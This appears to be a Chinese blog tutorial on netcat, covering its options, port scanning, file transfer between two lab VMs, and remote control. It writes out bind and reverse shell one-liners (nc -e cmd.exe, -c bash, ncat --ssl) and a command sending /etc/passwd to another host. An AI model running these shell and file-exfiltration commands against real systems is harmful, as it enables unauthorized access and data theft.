nc(基础)

下载地址:netcat 1.11 for Win32/Win64

虚拟机下载(kali):

apt install ncat

 

nc的使用方法 

netcat被誉为网络安全界的‘瑞士军刀’,相信没有什么人不认识它吧...... 一个简单而有用的工具,透过使用TCP或UDP协议的网络连接去读写数据。它被设计成一个稳定的后门工具,能够直接由其它程序和脚本轻松驱动。同时,它也是一个功能强大的网络调试和探测工具,能够建立你需要的几乎所有类型的网络连接,还有几个很有意思的内置功能(详情请看下面的使用方法)。

在中国,它的WINDOWS版有两个版本,一个是原创者Chris Wysopal写的原版本,另一个是由‘红与黑’编译后的新‘浓缩’版。‘浓缩’版的主程序只有10多KB(10多KB的NC是不能完成下面所说的第4、第5种使用方法,有此功能的原版NC好象要60KB:P),虽然“体积”小,但很完成很多工作。

nc.exe -h即可看到各参数的使用方法。

基本格式:nc [-options] hostname port[s] [ports] ...

nc -l -p port [options] [hostname] [port]

-d 后台模式

-e prog 程序重定向,一旦连接,就执行 [危险!!]

-g gateway source-routing hop point[s], up to 8

-G num source-routing pointer: 4, 8, 12, ...

-h 帮助信息

-i secs 延时的间隔

-l 监听模式,用于入站连接

-L 连接关闭后,仍然继续监听

-n 指定数字的IP地址,不能用hostname

-o file 记录16进制的传输

-p port 本地端口号

-r 随机本地及远程端口

-s addr 本地源地址

-t 使用TELNET交互方式

-u UDP模式

-v 详细输出--用两个-v可得到更详细的内容

-w secs timeout的时间

-z 将输入输出关掉--用于扫描时

基本用法:

大概有以下几种用法:

1)连接到REMOTE主机,例子:

格式:nc -nvv 192.168.x.x 80

连到192.168.x.x的TCP80端口

2)监听LOCAL主机,例子:

格式:nc -l -p 80

3)扫描远程主机,例子:

格式:nc -nvv -w2 -z 192.168.x.x 80-445

扫描192.168.x.x的TCP80到TCP445的所有端口

4)REMOTE主机绑定SHELL,例子:

格式:nc -l -p 5354 -t -e c:winntsystem32cmd.exe

绑定REMOTE主机的CMDSHELL在REMOTE主机的TCP5354端口

5)REMOTE主机绑定SHELL并反向连接,例子:

格式:nc -t -e c:winntsystem32cmd.exe 192.168.x.x 5354

绑定REMOTE主机的CMDSHELL并反向连接到192.168.x.x的TCP5354端口

以上为最基本的几种用法(其实NC的用法还有很多,

当配合管道命令“|”与重定向命令“<”、“>”等等命令功能更强大......)。

高级用法:

6)作攻击程序用,例子:

格式1:type.exe c:exploit.txt|nc -nvv 192.168.x.x 80

格式2:nc -nvv 192.168.x.x 80 < c:exploit.txt

连接到192.168.x.x的80端口,并在其管道中发送c:exploit.txt的内容(两种格式确有相同的效果,真是有异曲同工之妙:P)

实例:需要准备两个虚拟机(一台服务端,一台客户端)

1,文本传输:

服务端:

nc -l -p (端口号)

 客户端

nc -nv (服务端的ip) (端口号)

 此时无论是在客户端还是服务端机子上发送消息,都是可以看到的

 

 

2,文件传输

把两台机器都放在/tmp下,并把/tmp下的所有内容删除。

在客户端中准备/etc/passwd文件,拷贝到/tmp下。(将这个文件传给服务端) 

 在服务端输入命令,等待客户端发送文件,并且将发过来的文件重命名为test.txt,默认应该就是放在你刚刚在的这个目录(比如说我是/tmp)。
>是使用在接收方的命令中,<是使用在发送方的命令中

nc -lp (端口号) > (文件路径/文件名)

等待接收ing

 在客户端输入命令,传输passwd文件给服务端

nc -vn (服务端的ip) (端口号)  < (文件路径)

再来看服务端这边,已经不再是等待状态了。
查看/tmp下文件,也多了一个test.txt。

3.非加密远程控制 

服务端  nc -lp (端口号)

客户端   nc -vn (服务端ip) (端口号) -c bash

此时在服务端可以查看并操作客户端了,并且一般操作,客户端是没有任何提示语句的

 

4.加密远程控制
先在客户端输入命令,再去服务端输入命令,并且这里需要下ncat包。
客户端

apt install ncat
ncat -c bash --allow (允许访问的ip) -vnl (端口号) --ssl

服务端ncat -nv (需要控制的ip) (端口号) --ssl

可以看到已经连上被控制的电脑ip了。

 5.端口监听

服务端启动对指定端口的数据包监听
tcpdump -i eth0 tcp port (端口号)

 利用客户端连接该端口,连接不上不要紧,主要是连接这个过程会发送数据包,这样就可以在服务端看到这个数据包被监听了。

nc -vn (服务端ip) (端口号)

此时看服务端,可以看到刚刚的这次连接数据包监听结果。

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值